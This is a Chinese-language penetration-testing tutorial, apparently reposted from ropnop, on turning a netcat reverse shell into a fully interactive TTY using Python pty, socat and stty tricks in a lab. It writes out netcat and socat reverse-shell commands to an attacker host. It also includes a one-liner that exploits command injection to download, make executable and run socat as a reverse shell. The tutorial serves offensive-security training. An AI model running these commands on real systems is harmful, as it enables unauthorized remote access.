當前位置:
首頁 > 新聞 > 如何將簡單的Shell轉換成為完全互動式的TTY

如何將簡單的Shell轉換成為完全互動式的TTY

作為一名滲透測試人員,最令人激動的莫過於netcat為我們反彈回了一個shell連接,以及通過id命令查看到一個令人滿意的用戶許可權。但凡事總有意外,由於我們獲取的shell並不是一個具有完整交互的shell,因此可能會在使用過程中被掛起,甚至還可能會因為我們的操作失誤,例如不小心摁下了 「Ctrl-C」鍵,這將直接終止我們的整個shell進程讓徒勞而歸。



除了沒有正確處理SIGINT(信號)之外,這些「啞」shell還有其它諸多缺點:



一些命令如su和ssh,需要一個正確的終端才能運行


通常不顯示STDERR


無法正常使用vim等文本編輯器


沒有完成標籤


沒有向上箭頭使用歷史


沒有jobcontrol等


長話短說雖然這些sehll也很棒,但我更傾向於在完全互動的TTY中進行操作。下面我將為大家分享一些用來「升級」這些shell的技巧和方法。在正式開始之前我向大家推薦一個叫Pentest Monkey的博客,以及Phineas Fisher的技術視頻和writeup。 

<點擊文末的閱讀原文查看這些內容>


為了便於演示,以下所有的屏幕截圖和命令都將在一台易受攻擊的Web伺服器(「VICTIM」)和用於捕獲shell的Kali VM(「KALI」)上完成。




  • VICTIM IP

    : 10.0.3.7



  • KALI IP

    : 10.0.3.4


生成反向shell命令


我們首先使用netcat來獲取最常見的反向shell:

nc -e /bin/sh 10.0.3.4 4444

在kali虛擬機上我們輸入以下命令:

nc -lvp 4444

問題不在於每個伺服器是否都安裝了netcat,並且也不是每個版本的netcat都具備-e選項。Pentest Monkey有篇關於反向shell的cheatsheet,為我們提供了一些不同的方法。但我更熱衷於使用Metasploit的msfvenom一行生成命令。


Metasploit在「cmd/unix」下,有幾個可用於生成單行綁定或反向shell的payload:


以上顯示的所有payload都可以和msfvenom一起使用,並且我們可以根據自身需求指定LHOST,LPORT或RPORT。例如,這裡是一個不需要-e標誌的netcat命令:



如果沒有安裝netcat,我們還可以生成一個Perl的反向shell:



這些都可以通過使用netcat,並偵聽指定的埠(4444)來捕獲。


方法1:Python pty模塊


對於已經安裝了python的系統,我們可以使用python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端,命令如下:

python -c "import pty; pty.spawn("/bin/bash")"

在創建完成後,我們此時就可以運行su命令了。(並且界面提示也變得更加友好)


即便如此,但問題依舊沒有完全的解決。例如SIGINT(Ctrl-C)仍然會關閉終止Netcat,完成標籤或歷史記錄也依舊沒有,但這個方法在實際運用中也有一定的效果。


方法2:使用socat


socat是一個netcat上的替代工具,可以說是nc的增強版。我們可以使用Socat通過TCP連接傳遞完整的TTY。


如果你成功在目標機器安裝了socat,那麼我們就可以通過以下命令來獲取到一個完全互動式的TTY反向shell:


在kali虛擬機我們運行以下偵聽命令:

socat file:`tty`,raw,echo=0 tcp-listen:4444

在目標機器我們運行:

socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

如果目標系統沒有安裝socat你可以通過以下Github地址,下載相關的二進位靜態文件進行安裝:


https://github.com/andrew-d/static-binaries


通過命令注入漏洞,我們可以將socat二進位文件下載到一個可寫的目錄,並通過chmod命令修改文件的執行許可權,然後在一行中執行反向shell:



wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444


此時在kali,你將會獲取到一個完全互動式的TTY會話。它支持完成標籤,SIGINT/SIGSTP,vim,向上箭頭使用歷史等。



方法3:魔術般的Netcat升級


在Phineas Fisher的技術視頻中該方法被展示出來,在我看來感覺就像是魔術一般。基本操作就是在kali終端內設置一些stty選項,最終將「啞」netcat shell升級到了一個完全交互的TTY。


首先我們使用與方法1相同的技術來生成PTY。一旦bash在PTY中運行,我們按Ctrl-Z鍵將shell調至後台運行



現在我們來檢查當前終端和STTY信息,所以我們可以強制連接到shell並匹配:


所需的信息是TERM類型(「xterm-256color」)和當前TTY的大小(38行;116列)


接著我們將當前STTY設置為raw(請確保shell仍在後台運行),並使用以下命令回顯輸入字元:

stty raw -echo

使用raw stty,輸入/輸出將看起來有點奇怪,你可能看不到下一個命令,但是當你鍵入時,它們則會被執行。


下一個前台shell將重新打開反向shell,但格式化將關閉。最後,重新初始化終端。



注意:

我沒有再次鍵入nc命令(如上圖所示)。我實際上進入到了fg(前台),但這並沒有被列印出來。nc命令現在是處於前台的工作狀態。reset命令進入到netcat shell中後,shell會正常顯示。最後一步是設置shell,終端類型和stty大小來匹配我們當前的Kali窗口(上面收集的信息)。

$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

最終的結果是我們將獲取到一個在netcat之上的完全互動式的TTY,它具有我們所期望的所有功能(tab-complete,history,job control等):



甚至我們還可以在netcat shell上運行Tmux!


Cheatsheet


Cheatsheet命令:


使用Python作為一個偽終端

python -c "import pty; pty.spawn("/bin/bash")"

使用socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

使用stty選項

# In reverse shell
$ python -c "import pty; pty.spawn("/bin/bash")"
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

*參考來源:ropnop,FB小編 secist 編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

特斯拉Model X也被破解,來看PoC燈光秀
如何使用HackRF做一個簡單的IMSI捕獲器
使用Httrack和Tomcat快速搭建本地釣魚網站

TAG:FreeBuf |

您可能感興趣

PDF轉換成word轉換器下載
PPT/Word/Excel 協同使用,相互轉換的方法其實非常簡單!
Twitter UWP已轉換為PWA應用
?可以給你帶來轉換率的Listing優化之A+ Content
Spatial MRX可將手機轉換為全息AR
Stem Cells Int:粘著斑激酶和ROCK信號轉導是人類脂肪幹細胞向成骨和成脂譜系分化的轉換調節因子
Swift 類型轉換
CodeWarrior IDE使用Tips-使用burner將elf文件轉換生成HEX和BIN文件的方法和步驟詳解
Reality Zero One推出新平台旨在將3D對象轉換成VR/AR環境
CYBERGadget將推出Switch用NGC手柄轉換器
橫掃各項NLP任務的BERT模型有了PyTorch實現!提供轉換腳本
使用 Handbrake 轉換視頻
DataURL, Blob, File, Image之間的關係與轉換
Delphi TColor和16進位顏色的相互轉換
在 Linux 中使用 SoundConverter 輕鬆轉換音頻文件格式
手套Talking Hands可以記錄手部動作並轉換為文字信息
使用 pandoc 將 Markdown 轉換為格式化文檔
Spatial MRX的移動AR設備,可將手機轉換為全息AR增強現實遊戲機
TensorFlow新功能「AutoGraph」:將Python轉換為計算圖
Nvidia 圖片風格轉換工具——FastPhotoStyle